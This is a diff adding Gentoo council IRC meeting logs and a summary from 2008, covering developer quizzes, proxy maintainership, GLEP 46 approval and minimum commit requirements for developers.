+21:54 < Flameeyes@> KillerX, uh... I came in originally in 2005, I did have some recruits in 2006, I think you're probably confusing the staff quiz with the eom quiz
+21:54 < dberkholz@> one of those quizzes includes the gentoo hierarchy, when to use -core, etc stuff
+21:54 < dberkholz@> i think that's the section KillerX is talking about
+21:54 < Flameeyes@> should be part of the eom quiz iirc
+21:54 <   lu_zero@> still
+21:55 < Flameeyes@> but it's really more "a boring 10 minutes" imho rather than the lengthy part of the process.. just a way to make sure the person knows how to contribute properly...
+21:55 <   lu_zero@> how many questions are due to get devship?
+21:55 < Flameeyes@> lu_zero, about 40 iirc
+21:55 <Betelgeuse@> http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt
+21:55 <Betelgeuse@> http://www.gentoo.org/proj/en/devrel/quiz/end-quiz.txt
+21:55 <   KillerX > Well, we can't skip the technical questions, that's for sure.
+21:55 <Betelgeuse@> staff quiz == first part of ebuild quiz
+21:55 <   KillerX > and I think I'll agree with the fact that the staff quiz takes a lot lesser time than the other two
+21:56 <   lu_zero@> hmm
+21:56 <   lu_zero@> still you felt that the process is too taxing
+21:56 <   lu_zero@> if the quizzes aren't the problem
+21:56 <   KillerX > It is indeed, especially if your goal is just to maintain packages.
+21:56 < Flameeyes@> 45, I was near enough ;)
+21:57 < Flameeyes@> KillerX, then just accept proxy maintainership
+21:57 <   lu_zero@> what is the part we should overhaul?
+21:57 < Flameeyes@> maybe if we could move to, say, GIT, it would be simpler to be a proxy maintainer, but that's beside the point anyway
+21:58 <   lu_zero@> still I'd like to have some control about proxy maintenance
+21:58 <   KillerX > lu_zero: The quizzes themselves?
+21:58 < Flameeyes@> lu_zero, what you mean?
+21:58 <   lu_zero@> KillerX how?
+21:58 <   lu_zero@> Flameeyes make sure people don't abuse trust
+21:58 <   lu_zero@> KillerX 45 questions
+21:58 <   lu_zero@> that means at most 5 hours
+21:59 <   lu_zero@> 5 hours aren't exactly a long time
+21:59 -!- ftpd [i=ftpd@gentoo/ricer/ftpd] has left #gentoo-council []
+21:59 <   KillerX > lu_zero: Yes, but a lot of them test things which are not normally required for maintaining an ebuild
+21:59 < Flameeyes@> KillerX, like?
+21:59 <Betelgeuse@> KillerX: like?
+21:59 < Flameeyes@> Betelgeuse, jinx!
+21:59 <   KillerX > "Explain briefly the purpose of the following tools: grep, cut, sed, cat, wc, awk"
+22:00 <Betelgeuse@> KillerX: you are not going to use those in your ebuilds?
+22:00 <   KillerX > We should really avoid these exam type of questions
+22:00 <   KillerX > and get straight to the practical stuff
+22:00 <Betelgeuse@> or basic Unix command line utils in general
+22:00 < Flameeyes@> KillerX, uh, I might find awk optional, but the rest...
+22:00 < Flameeyes@> I admit the first time I took the test I just rephrased the first phrase in man $foo
+22:01 < dberkholz@> that seems pretty practical to me. explaining the purpose is about the same as saying when you need to do some task, you know which tool to use
+22:01 <   KillerX > er, sure you are, but it would be better to ask 'how would you do task XXX' instead of 'write a short description of YYY'
+22:01 <   KillerX > these essay-type questions take up maximum type to answer
+22:01 <   KillerX > s/type/time
+22:01 < Flameeyes@> essay-type? o_o
+22:01 < Flameeyes@> I sincerely think a single one-liner to explain each tool isn't an essay
+22:01 <Betelgeuse@> KillerX: What part of Explain briefly is unclear?
+22:01 <   lu_zero@> KillerX I'm afraid we perceive the questions and the possible answers differently
+22:01 < Flameeyes@> and probably is simpler than providing a solution to an use case
+22:02 < Flameeyes@> especially since the use case someone might solve using, say, perl
+22:02 <      igli > hehe
+22:02  * Betelgeu uses inline python for solving eclass problems
+22:02 <   KillerX > heh
+22:02 < Flameeyes@> Betelgeuse, better than java for sure ;)
+22:02 <Betelgeuse@> Flameeyes: I need to work with xml in eclasses
+22:02 <   lu_zero@> Flameeyes inline C
+22:02 < Flameeyes@> Betelgeuse, yes I know
+22:02 <   KillerX > alright, actually that was about the only theoretical question :-/
+22:03 < Flameeyes@> myself I have doubts about 5 and 6 (part I) of the ebuild quiz, for just ebuilders
+22:03 <   lu_zero@> KillerX sorry if you feel attacked
+22:03 < Flameeyes@> but they are two questions, about 40 seconds to answer each
+22:03 <   KillerX > lu_zero: Not at all, I see your point now.
+22:03 -!- antesenamon [n=antesena@host-89-230-10-219.bilgoraj.mm.pl] has quit ["Lost terminal"]
+22:03 <Betelgeuse@> Flameeyes: 6 is to avoid Seeds
+22:03 <   lu_zero@> still I'd like to solve the root of the problem
+22:03 <   KillerX > okay, so in conclusion - let's advertise the proxy-maintainer position more
+22:03 <      amne@> Flameeyes: if you know the answer, of course
+22:04 <   lu_zero@> why the process is considered that problematic
+22:04 <      amne@> but i guess the point of the quiz is that people know the answer afterwards
+22:04 < Flameeyes@> amne, I sincerely think to have access to the repository knowing the answer is a requirement
+22:04 <   KillerX > and maybe, somewhere in the distant future, we can move to a better VCS, wherein it would be easier for proxy-maintainers to make sure their code is committed.
+22:04 < Flameeyes@> Betelgeuse, note the "for just ebuilders" ;)
+22:04 < dberkholz@> KillerX: heh, check out bug #207056
+22:04 <    jeeves > dberkholz: https://bugs.gentoo.org/207056 enh, P2, All, kavol@email.cz->pr@gentoo.org, NEW, pending, please promote Sunrise overlay
+22:04 <      amne@> Flameeyes: yeah, but that's why people may take more than a couple of hours to complete the quiz
+22:05 < Flameeyes@> to be honest, whenever I consider someone for proxy maintainership, I ask for the second part of ebuild quiz to a minimum
+22:05 < Flameeyes@> amne, I'm not expecting anybody to become dev of _any_ project in less than a couple of hours
+22:05 < Flameeyes@> do I even have to use Debian as an example?
+22:05 <Betelgeuse@> amne: It takes more than a couple hours to talk with me.
+22:05 <      amne@> Flameeyes: yeah, but that was the argument for having a new dev rank
+22:05 <     Jokey@> dberkholz: interesting bug
+22:06 <   KillerX > Well the basic idea was to make proxy-maintainers feel more recognized
+22:06 < Flameeyes@> amne, as long as you have access to the repository, I consider you a dev :P cvs acl might help but I wouldn't expect even a new position to take less than a couple of hours ... or even a couple of days
+22:06 <      amne@> Betelgeuse: that was wrt having the quiz done in a couple of hours as someone said above ;-)
+22:07 < dberkholz@> Jokey: agreed
+22:07 -!- arkanoid [n=arkanoid@236-252-235-85.static.dsl.webpartner.net] has joined #gentoo-council
+22:07 < Flameeyes@> KillerX, well we could even try to tune down the gentoo's developers status for that ;) for instace we could use less resonant mail addresses than @gentoo.org everytime we commit :P
+22:07 <   KillerX > :)
+22:08 <   KillerX > Git would solve the problem perfectly
+22:08 -!- hkBst [n=hkBst@gentoo/developer/hkbst] has quit [Read error: 104 (Connection reset by peer)]
+22:08 -!- hkBst [n=hkBst@gentoo/developer/hkbst] has joined #gentoo-council
+22:09 < Flameeyes@> KillerX, could easily create a few more though :P and we're talking about migrating to something else for... four years now?
+22:10 <Betelgeuse@> I think git wasn't a good option last time when looked at because of performance problems.
+22:10 <   KillerX > Well, it can't be helped until someone with loads of time joins infra
+22:10 <Betelgeuse@> I think those should could be solved by now.
+22:10 < dberkholz@> Betelgeuse: it was lacking features we want
+22:10 < dberkholz@> might be an soc project to implement those missing features
+22:10 < dberkholz@> robbat2 knows the details
+22:11 <   KillerX > indeed
+22:11 < Flameeyes@> dberkholz, yeah that would be a good idea indeed
+22:11 <   KillerX > Okay, so in summary - No need for a new position, adverstise proxy-maintainers/overlays more (i'll probably make a gmn article out of it ;)). Anyone has anything more to add?
+22:11 < Flameeyes@> KillerX, blog about it, works a lot too :)
+22:11 <      amne@> sounds good.
+22:12 <   KillerX > Heh, I was waiting for my feed to get fixed. just happened today :)
+22:14 -!- igli [n=igli@unaffiliated/igli] has quit [Read error: 104 (Connection reset by peer)]
+22:14 < Flameeyes@> by the way, I know this is more PR's work but as donnie is here...
+22:14 < Flameeyes@> any idea about a redesign of the site?
+22:15 <   lu_zero@> another misc item
+22:15 <   lu_zero@> what about stale gleps?
+22:15 < Flameeyes@> it is more than an year since Curtis disappeared, afaict, did the project volatilise entirely?
+22:15 <   lu_zero@> autoretire them after a while?
+22:17 < dberkholz@> Flameeyes: a few folks are playing around with it
+22:17 < dberkholz@> Flameeyes: basically looking to get the whole site moved to css but functionally identical, then consider redesign work as a second step
+22:17 < dberkholz@> Flameeyes: nichoj and ali_bush, mainly
+22:17 < Flameeyes@> dberkholz, okay I'm pleased to hear it is being worked on, that's enough to me :)
+22:18 < dberkholz@> we're doing it that way because it's a lot harder to object to a css move when it doesn't come along with a ton of visual changes too, so it should go through easily
+22:18 <   KillerX > alright folks, 4 am here, better go to sleep now else I'll miss class in the morning. Good night!
+22:18 < Flameeyes@> dberkholz, yeah agreed
+22:18 < dberkholz@> good night sir.
+22:18 <      amne@> bye KillerX
+22:18 < Flameeyes@> KillerX, sweet dreams
+22:19 -!- KillerX [n=anant@gentoo/developer/KillerX] has quit []
+22:20 <      amne@> so, on to the next point?
+22:20 < Flameeyes@> amne, what's the next point?
+22:21 <      amne@> uhm
+22:21 <      amne@> open floor? or did i miss anythin in the agenda?
+22:21 <Betelgeuse@> amd64
+22:21 <Betelgeuse@> but that was discussed briefly at the start
+22:21 <      amne@> yupp
+22:21 <      amne@> not sure if anyone wants to add to that now
+22:21 <Betelgeuse@> does anyone have anything to add?
+22:21 < dberkholz@> what's the amd64 summary, pleaes?
+22:22 <Betelgeuse@> http://rafb.net/p/Idqz6c86.html
+22:22 < dberkholz@> the other 2 things are the "old topics" -- what's up with glep 46 clarification, and eapi=0 progress from Halcyon 
+22:22 <Betelgeuse@> relevant log parts
+22:22 < Flameeyes@> Halcyon, you around for the eapi=0 update?
+22:27 <      amne@> anyone remember what happened with glep 46? i think there was a brief conversation with dev-zero after the meeting, but i don't remember the outcome, nor can i find it in my inbox
+22:27 <      amne@> and the glep hasn't been updated it seems
+22:27 -!- ferdy [n=ferdy@gentoo/developer/ferdy] has joined #gentoo-council
+22:30 <      amne@> uh well this meeting is really slow today
+22:33 < dberkholz@> well, that's all the topics since those folks aren't around
+22:33 <     Jokey@> gah
+22:33 <     Jokey@> distraction--
+22:34 <Betelgeuse@> anyone have open floor items?
+22:34 < dberkholz@> we seem to be doing a really bad job of actually having people we need at the meetings
+22:34 < dberkholz@> next time i make an agenda, i'll have to put together a list of people who need to show up
+22:34 < dberkholz@> that will of course also require that i actually make an agenda in advance, and show up on time myself
+22:34 <      amne@> dberkholz: sounds like a good idea
+22:34 <     Jokey@> dberkholz: yep, maybe we should have the agenda ready 24h before actual meeting so people can take notes to show up
+22:34 <      amne@> dberkholz: heh
+22:34 < Flameeyes@> dberkholz, we should think about using google calendar
+22:35 < Flameeyes@> if we actually decide upon that I might even use firefox :P
+22:35 <      amne@> someone (forgot who) also suggested to post the agenda on www.gentoo.org - if it's ready before the meeting, that could be done too
+22:35 < dberkholz@> Flameeyes: maybe so.
+22:35 < dberkholz@> seems like there might be enough meetings and such, and it's easier than setting up our own groupware
+22:36 < Flameeyes@> dberkholz, we could also use it to write down stuff like stabilisation plans and last rites and similar
+22:36 < Flameeyes@> could probably also avoid users to wonder "when is $foo supposed to go stable?"
+22:36  *    Jokey used to tag bug subjects with (due 13-03-2008)
+22:37 <     Jokey@> and file it the moment the package is bumped
+22:37 < Flameeyes@> Jokey, I used to prepare stable bugs in advance with a similar status whiteboard
+22:37 < Flameeyes@> but then arch teams hated me for filing them too soon -_-;
+22:37 < dberkholz@> pkgcore-checks has something that can already do that
+22:37 < dberkholz@> i'm sure some other tools do too
+22:37 <     Jokey@> Flameeyes: I don't cc arches until bug is due heh ;)
+22:38 < Flameeyes@> dberkholz, well, I suppose it looks when it was added to the tree :P
+22:38 < dberkholz@> yeah
+22:38 < Flameeyes@> but for instance I don't want pambase to get stable just after 30 days, I want to test it at least 60
+22:38 <      amne@> if no one minds, i'll leave now, gotta catch some sleep
+22:39 < Flameeyes@> nighty night amne
+22:39 <      amne@> nite folks
+22:39 < dberkholz@> would be another possibility for adding to metadata.xml
+22:39 < dberkholz@> stabletime
+22:39 < Flameeyes@> so I'm going to start looking at a calender for gentoo now :P I'll report on -core or -dev whenever I have something
+22:39 < dberkholz@> Flameeyes: might be nice to work with #gentoo-pr people on that
+22:41 < dberkholz@> ok, any more topics?
+22:45 <   lu_zero@> apparently not
+22:48 < dberkholz@> alright, this meeting is over
+22:48 < dberkholz@> i'll send out a summary later tonight
+22:49 < dberkholz@> http://dev.gentoo.org/~dberkholz/20080313-summary.txt is where it's at, not sure if i'm going to make more changes
+22:49 < dberkholz@> suggestions welcome
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080410-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080410-summary.txt
new file mode 100644
index 00000000..23483101
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080410-summary.txt
@@ -0,0 +1,124 @@
+Quick summary
+=============
+
+GLEP 46 (Allow upstream tags in metadata.xml): Approved
+
+Slacker arches: Vapier's proposal is going out tonight.
+
+Minimal activity for ebuild devs: We're trusting the judgment of the 
+undertakers. Also looking into Ohloh for commit stats.
+
+Initial comments on PMS: Unapproved EAPIs cannot go into the approved 
+document.
+
+
+Roll call
+=========
+
+(here, proxy [by whom] or slacker?)
+
+amne        here
+betelgeuse  here
+dberkholz   here
+flameeyes   proxy [tsunam]
+lu_zero	    slacker
+vapier      here
+jokey       here
+
+
+Updates to last month's topics
+==============================
+
+	http://www.gentoo.org/proj/en/council/meeting-logs/20080313-summary.txt
+
+
+	Document of being an active developer
+	-------------------------------------
+	Last month:
+		No updates
+	Updates:
+		No updates
+
+
+	Slacker arches
+	--------------
+	3 months ago:
+		vapier will work on rich0's suggestion and repost it for 
+		discussion on -dev ML
+	Last month:
+		vapier said he was going to work on it this weekend.
+	Updates:
+		vapier said he's finishing it up and will have it posted tonight.
+
+
+	GLEP 46: Allow upstream tags in metadata.xml
+	--------------------------------------------
+	http://www.gentoo.org/proj/en/glep/glep-0046.html
+
+	2 months ago:
+		Caveat on approval about allowed protocols
+	Updates:
+		Restriction to http/https has been dropped as pointed out by 
+		council members (amne and Flameeyes if I'm right).  The point 
+		for restricting the URLs to the mentioned protocols was that 
+		they shouldn't link to automatically updated ressources.  This 
+		has been replaced by an explicit specification and a 
+		recommendation that http/http should be favoured over 
+		ftp/svn/gopher/etc to make the implementation for automated 
+		update discovery tools easier (they should of course ignore URLs 
+		they can't handle).
+
+		Approved.
+
+
+New topics
+==========
+
+
+	Minimal activity for ebuild devs
+	--------------------------------
+	Current is 1 commit every 60 days. Should it be higher?
+
+	Agreement was hard to find. Some people thought it should be 1 
+	commit / week, others said that people have busy lives and 
+	questioned the benefits.
+
+	A number of people did agree that we should trust the judgment of 
+	the undertakers.
+
+	dberkholz suggested that low commit rates may not maintain the 
+	quality of the committer, and we should more carefully review the 
+	commits of these people.
+
+	Ways to track commit stats of various sorts came up, such as cia.vc 
+	and ohloh. cia seems to have too much downtime to rely on. ciaranm 
+	talked with ohloh people already. ohloh would require some 
+	modifications to ohcount to recognize ebuilds and eclasses, and a 
+	full copy of the cvs repository to start, but it seems worth 
+	exploring. Betelgeuse said he would tar up a copy of the gentoo-x86 
+	repo.
+
+
+	Initial comments on PMS
+	-----------------------
+	http://git.overlays.gentoo.org/gitweb/?p=proj/pms.git
+
+	Are there any major changes needed, or just tuning details?
+
+	The council voted that kdebuild-1 and other unapproved EAPIs could 
+	not be in an approved PMS document. The spec isn't a place for 
+	proposals or things that will never be submitted for approval by the 
+	council. It's a specification, a reference of what is allowed in the 
+	main tree.
+
+
+	Open floor
+	----------
+
+	blackace asked about complaints against philantrop, eroyf, and spb.
+	vapier referred that to devrel. Betelgeuse said that there's been no
+	rejection or action on those complaints yet, and internal discussion 
+	is ongoing. Philantrop complained that he hadn't heard anything 
+	about complaints, and Betelgeuse said that since some members 
+	already left, he didn't want to take matters into his own hands in 
+	sharing private information.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080410.txt b/xml/htdocs/proj/en/council/meeting-logs/20080410.txt
new file mode 100644
index 00000000..61e8a190
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080410.txt
@@ -0,0 +1,798 @@
+19:55 <    tsunam > all full now
+19:59  *     amne reports in
+20:00 <Philantrop > amne: You're one minute early!
+20:00 <    tsunam > amne: don't leave a hanging chad on your clock in...else you'll not be counted as in
+20:00 <    tsunam > <----proxy for Diego
+20:01 <      amne@> tsunam: ack, he sent an email about it
+20:01 < dberkholz@> i'm having some issues building the latest pms, just got a slightly older version, could someone post a pdf
+20:02 <       spb > did he give a reason he can't appear?
+20:02 < dberkholz@> he's sick
+20:02 <Betelgeuse@> I will hit the toiled and join then.
+20:02 <      amne@> Betelgeuse: TMI :-P
+20:02 <   astinus > Betelgeuse: toiled? You going Welsh on us? ;)
+20:03 <   Halcyon > http://dev.gentoo.org/~spb/pms.pdf
+20:03 <Betelgeuse@> astinus: Whatever let's call it paskahuussi then.
+20:03 <   ciaranm > http://paludis.pioto.org/~ciaranm/pms.pdf
+20:03 <   ciaranm > is probably a few days more up to date than spb's version
+20:04 < dberkholz@> thanks
+20:05 <      amne@> Agenda: http://archives.gentoo.org/gentoo-dev/msg_46bf3619625ec081d4c5c858e375c011.xml
+20:05 <      amne@> dberkholz: or do you have it somewhere on your devspace?
+20:06 < dberkholz@> hasn't change since i posted it =)
+20:06 < dberkholz@>  changed*
+20:06 -!- amne changed the topic of #gentoo-council to: Meeting now - Agenda: http://archives.gentoo.org/gentoo-dev/msg_46bf3619625ec081d4c5c858e375c011.xml
+20:06 <      amne@> dev-zero said he may be able to show up, but earlierst in half an hour an probably later
+20:07 <      amne@> so i'd suggest we move glep 46 towards the end and hope he can make it
+20:08 < dberkholz@> we could just figure out whether we have any questions, if so wait, if not just get through it
+20:08 -!- Irssi: #gentoo-council: Total of 69 nicks [5 ops, 0 halfops, 1 voices, 63 normal]
+20:08 < dberkholz@> we're still missing a few folks
+20:08 <    vapier@> moo
+20:08 < dberkholz@> lu_zero and jokey aren't even in the channel..
+20:08 <    vapier@> guess i'll be back in an hour
+20:09 <    vapier@> or not
+20:09 <Betelgeuse@> back
+20:10 < dberkholz@> we might as well get on with the first stuff and see if lu and jokey show up soon
+20:10 < dberkholz@> vapier: any news on the slacker archs idea?
+20:10 <    vapier@> i'm finishing it up ... have it posted tonight
+20:11 < dberkholz@> great!
+20:12 < dberkholz@> still nothing i know of for araujo's active dev documentation. it's on him to start making some progress if he cares about it
+20:13 -!- mode/#gentoo-council [+o jokey] by ChanServ
+20:13 <      amne@> oi jokey
+20:13 <     jokey@> meh, should update my reminder
+20:13 -!- Irssi: #gentoo-council: Total of 72 nicks [6 ops, 0 halfops, 1 voices, 65 normal]
+20:13 < dberkholz@> well, that's 6 at least
+20:14 < dberkholz@> does anyone have questions on glep 46, or are we ready to vote?
+20:14 <NeddySeago > dberkholz, with 2 missing, is this meeting quorate ?
+20:14 < dberkholz@> NeddySeagoon: 1 missing ... tsunam is proxy for flameeyes
+20:14  *    jokey doesn't have any questions
+20:14 <      amne@> since the stuff suggested last time was implemented it works for me, no further questions
+20:16 -!- mode/#gentoo-council [+v tsunam] by dberkholz
+20:16 < dberkholz@> maybe that'll prevent some confusion
+20:16 -!- Irssi: #gentoo-council: Total of 73 nicks [6 ops, 0 halfops, 2 voices, 65 normal]
+20:16 < dberkholz@> Betelgeuse, tsunam, vapier -- any glep 46 questions?
+20:17 <    tsunam+> none here
+20:17 <Betelgeuse@> no
+20:19 <      amne@> time to vote then?
+20:19 < dberkholz@> ok. let's vote, then. glep 46 -- yes or no
+20:19 < dberkholz@> yes
+20:19 <      amne@> yes
+20:19 <    tsunam+> yes
+20:20 <Betelgeuse@> yes
+20:21 < dberkholz@> jokey, vapier -- care to vote?
+20:21 <     jokey@> yes
+20:23 < dberkholz@> alright, that's 5 yes votes, 1 abstain 
+20:23 < dberkholz@> let's move on to the next topic
+20:23 < dberkholz@> Minimal activity for ebuild devs: Current is 1 commit every 60 days. Should it be higher?
+20:23 <     jokey@> yep
+20:24 <     jokey@> imho every dev should be able to do 4-5 commits every month
+20:24 <    tsunam+> I would say at least one a month should be a basis
+20:24 <    tsunam+> If a developer only maintains a package or two, and they don't update often...
+20:25 <      amne@> while i agree with all the shoulds, what's the positive effect for gentoo if we do that?
+20:25 <     jokey@> amne: main issue is that quite a bunch of packages have a number of bugs open, then maintainer appears, does a commit and hides again
+20:26 <Philantrop > What's the *reason* to change that? Does a dev with "only" one commit every 60 days hurt anyone?
+20:26 <    tsunam+> Philantrop: you have a point there
+20:26 <      amne@> jokey: then we should address that problem, as well as being unresponsive and letting packages bit-rot while others were willing to take over
+20:26 <Philantrop > jokey: And with your suggestion not even that one bug will be taken care of. :-)
+20:26 <      amne@> jokey: i just don't think introducing an arbituary number of commits will help with that
+20:27 <    tsunam+> amne: that's a larger issue with "posession"
+20:27 < dberkholz@> so do you think it should be more of a case-by-case thing?
+20:27 <      amne@> tsunam: yeah, heh
+20:27 <      amne@> dberkholz: yes
+20:27 <Betelgeuse@> The point of the suggestion was to give undertakers the powers to start poking with lesses activity.
+20:27 < dberkholz@> some devs have this obvious trend of drive-by commits and then disappearing
+20:27 <     jokey@> I mean if you're really interested in working as a dev, why don't actually do something?
+20:27 <Betelgeuse@> We don't really need to start arbitrary limits if we trust undertaker judgment.
+20:28 <      amne@> Betelgeuse++
+20:28 <     jokey@> Betelgeuse++
+20:28 <    musikc > Betelgeuse, undertakers is phreak and rane atm, and neither seemed to have wanted this
+20:28 <    tsunam+> does the new items increase the load of some of our teams
+20:28 <    tsunam+> such as undertakers and infra
+20:28 < dberkholz@> musikc: "this" being a higher limit?
+20:28 <    tsunam+> as there will be more tracking to do and poking and
+20:28 <    tsunam+> just general pain in the arse busy work as well
+20:28 <    musikc > increases for undertakers, saying 60 days to 7 days means more work
+20:28 <    tsunam+> cause really it is busy work
+20:29 <Philantrop > jokey: Most of you don't have a job or a family. Some of us older ones have and, thus, different priorities while Gentoo is still important to us.
+20:29 <    vapier@> dberkholz: sorry, yes to 46
+20:29 <    vapier@> btw, the e-mails are wrong in the glep
+20:29 <    vapier@> in case anyone cares ;)
+20:29 <     jokey@> Philantrop: looking at your stats, even you managed to do more than 5 commits ;)
+20:30 <     jokey@> and if one is away for a month for whatever reason, we have devaway
+20:30 <Philantrop > jokey: Yes, but I'm an idiot. :)
+20:31 < dberkholz@> musikc: but if it was 1/60 days to 8/60 days, it would be the same work with a different number
+20:31 <Betelgeuse@> musikc: I thought rane liked my script.
+20:31 <jmbsvicett > musikc / dberkholz: I saw rane comment that he didn't want to the one to have to do the judgement
+20:31 <    musikc > i like Philantrop's point though, many devs have full time jobs or substantial college obligations, in addition to family and trying to have a life some of the time. once a week is a lot and do we really want to lose those few commits entirely
+20:31 <Betelgeuse@> I would propose we make the slacker script output the activity of everyone and post it to public.
+20:31 <jmbsvicett > musikc / dberkholz: As I understood it, he wanted a clear policy
+20:31 <    tsunam+> Can it not be said that we increase it slowly?
+20:31 <    tsunam+> start with say 2 ever 60
+20:31 <    musikc > jmbsvicetto, he wanted a clear policy when people started saying policy was going to change; he said he wanted to know what the change would be
+20:32 <    tsunam+> then revisit it some months down...
+20:32 < dberkholz@> to build on what Betelgeuse said earlier, isn't this something that is just not a council decision, but rather undertaker policy?
+20:32 <    musikc > Betelgeuse, rane told me he did not want to have to sort through extra information
+20:32 <jmbsvicett > I would also like to point out that the script only looks at cvs - no svn or git
+20:32 <Betelgeuse@> dmwaters: imho council should set undertaker policy
+20:32 <      rane > i like tsunam's proposal the most, a slight increase, say 4 commits per 60 days
+20:33 <      rane > and we'll see what happens
+20:33 <Betelgeuse@> s/dmwaters/dberkholz/
+20:33 <jmbsvicett > That means most (almost all?) overlays don't count
+20:33 <    musikc > what about cvs and svn, does the script include both?
+20:33 <NeddySeago > comitts alone are a poor measure. A dev with one or two packages rare upstream updates and no bugs has no reason to commit
+20:33 <    tsunam+> hmm
+20:33 <Betelgeuse@> musikc: the script was posted to -dev and it does not do svn yet
+20:33 <Betelgeuse@> musikc: but neither does the current script
+20:33 < dberkholz@> NeddySeagoon: my question would be, why isn't that dev doing more?
+20:33 <Betelgeuse@> NeddySeagoon: That's why there is the manual step.
+20:33 <    tsunam+> the question also becomes how many commits will happen just to "commit"
+20:33 <    tsunam+> if it increases
+20:34 <      amne@> how about not taking in the positive count (like commits) but rather negative stats like being unresponsive for long times without devaway etc?
+20:34 <jmbsvicett > Betelgeuse: My point about svn / git is that it probably should count
+20:34 <Betelgeuse@> NeddySeagoon: It's not run script --> autoretire
+20:34 <    tsunam+> is it a quality or a quantity that we are after?
+20:34 <  blackace > why is there such a focus on getting rid of slacking devs?  surely rather a slacker dev than no dev at all?  or is a .forward on woodpecker so expensive?
+20:34 <     jokey@> tsunam: both
+20:34 < dberkholz@> i mean c'mon, if all i maintained was colordiff, that would be pretty sad.
+20:34 <NeddySeago > Betelgeuse, I understand that.
+20:34 <Betelgeuse@> blackace: Because coming back is easy.
+20:34 <    tsunam+> dberkholz: by all accounts I maintain nothing in the tree...I do help on some packages though
+20:35 < dberkholz@> my feeling is that low commit count may mean that the dev isn't doing enough stuff to maintain his/her quality level
+20:35 <NeddySeago > dberkholz, no time ? no interest in other stuff ?  The measure needs to include open bugs
+20:35 <    musikc > Betelgeuse, if the intent is to improve, we should try to include both
+20:35 <    vapier@> perhaps if the proxy stuff was more streamlined, there wouldnt be a need for drive by devs
+20:35 <Betelgeuse@> blackace: Also it does require some attention to keep up with latest ebuild standards.
+20:35 <  blackace > Betelgeuse: every 60 days?  seems like that would be a waste of time for undertakers
+20:35 <Philantrop > dberkholz: And you want undertakers to judge on the dev's skills/quality level?
+20:36 < dberkholz@> maybe instead of retiring these devs, we should make sure their commits get reviewed
+20:36 <Betelgeuse@> dberkholz: They don't get retired if they answer a simple mail atm.
+20:36 <    musikc > all, sorry but i have another meeting to go to. again im agreeable to an increase, say at least once a month instead of 2 months, and continue to allow undertakers to talk to the dev and their leads to determine real involvement, commits alone arent all that happens around here
+20:36 <  blackace > dberkholz: that would actually be a great idea, gentoo has a severe lack of code review...maybe we could use a reviewboard
+20:36 < dberkholz@> Betelgeuse: ok, that doesn't really address my concern one way or the other, though
+20:37 <Betelgeuse@> blackace: Anyone can do it via gentoo-commits mailing list.
+20:37 < dberkholz@> it would be pretty easy on an individual level to take the commit-count script output and use some cutoff as a procmail filter for rare committers
+20:37 <Betelgeuse@> I wouldn't mandate review as we have enough problems keeping stuff up2date as it is.
+20:38 <Betelgeuse@> dberkholz: Yes, I can setup something like that with robbat2 when he has the time.
+20:38 <Betelgeuse@> dberkholz: We will already be setting up new develop watching at some point any way.
+20:38 <Betelgeuse@> He's just damn busy.
+20:40 < dberkholz@> vapier: i'm hoping that we can get some sort of dscm going in the not-distant future to help that
+20:40 <kingtaco|w > dberkholz, would you write some procmail foo for that in any event?  that info would be useful in general
+20:41 < dberkholz@> kingtaco|work: does woodpecker allow user cron jobs?
+20:41 <kingtaco|w > dberkholz, no, but I can make an exception for something like this
+20:41 < dberkholz@> what we'd want to do is periodically grab the list and insert an update.
+20:41 < dberkholz@> anyway, details for discussion elsewhere
+20:42 <kingtaco|w > WFM
+20:42 <     jokey@> though I like the idea of just posting stats to -dev ml (or some other list if needed)
+20:42 <     jokey@> that way you can easily stab your fellow to do somethin ;)
+20:43 <    tsunam+> I would not like that honestly
+20:43 <    tsunam+> we shouldn't rat out/ paint our own developers with bright red paint
+20:43 < dberkholz@> i think it would be neat to have a commit stats page around
+20:43 <nightmorph > just to clarify -- this minimum commit requirement is strictly for ebuild devs, correct?
+20:43 <    tsunam+> the point isn't to drive people away
+20:43 <    tsunam+> its to gently nudge them into commiting more if possible
+20:43 <     jokey@> nightmorph: yep
+20:43 <     jokey@> tsunam: exactly
+20:44 <    tsunam+> but as musikc said, what a developer commits isn't always all they have worth for
+20:44 <     jokey@> and if a (good) friend of yours nudges you, the chance you actually do something is way higher imho
+20:44 <Betelgeuse@> tsunam: The info is available via anoncvs any way.
+20:45 <    tsunam+> Betelgeuse: but its not Tsunam has done : 2 commits these last 2 months
+20:45 <Philantrop > jokey: And chances are higher that commit competitions are the result. Great for quality, I'm sure. :-)
+20:45 <    tsunam+> and having say...spb, Betelgeuse, vapier, blackace all go Dude COMMIT MORE! YOU SUCK!
+20:45 <Betelgeuse@> tsunam: I am going to add gentooRoles to the script and from that it should be quite clear if someone should commit or not.
+20:46 <      rane > blackace who didn't commit anything in last 6 months is quite unlikely to bash for lack of commits
+20:46 <    tsunam+> Betelgeuse: how accurate are the gentooRoles
+20:46 <  blackace > rane: yeah, I'm not one to talk ;)
+20:46 <    tsunam+> Betelgeuse: I'm sure mine are nowhere close to be honest
+20:46 <     jokey@> Philantrop: that's why we have a commit mailinglist for public review
+20:46 <Betelgeuse@> tsunam: probably not that but one can always change them
+20:46 < dberkholz@> where "public" seems to mean "donnie reviews" in most cases.. =P
+20:47 <  blackace > rane: but then, I don't have cvs access anymore either...any script looking at commits should take into account permission to commit
+20:47 <nightmorph > it's already noted that nothing is checking for SVN commits i believe
+20:48 <    tsunam+> there are quite a few catchpa's *nods*
+20:48 <    tsunam+> ultimately its up to the undertakers to decide the relative merits
+20:48 <    tsunam+> with assistance from a script and discussion with the developer in question
+20:49 <Betelgeuse@> Perhaps we should mail the results to -core.
+20:49 <    tsunam+> Where capable, I don't think 1 commit a month is asking too much, even from a dedicated father/employee/ grad student/college student+part time worker
+20:49 <Betelgeuse@> As things like KDE keywording would be missleading to the public.
+20:51 <    tsunam+> s/father/parent/
+20:51 <Philantrop > tsunam: Just a minimal summary to make sure I understand this: There's no real identifiable benefit but literally something to lose - commits, devs, maintainership. And yet we want to ask for more?
+20:51 < dberkholz@> for all of our committing mothers. =)
+20:52 < dberkholz@> Philantrop: i pointed out the potential problems with code quality
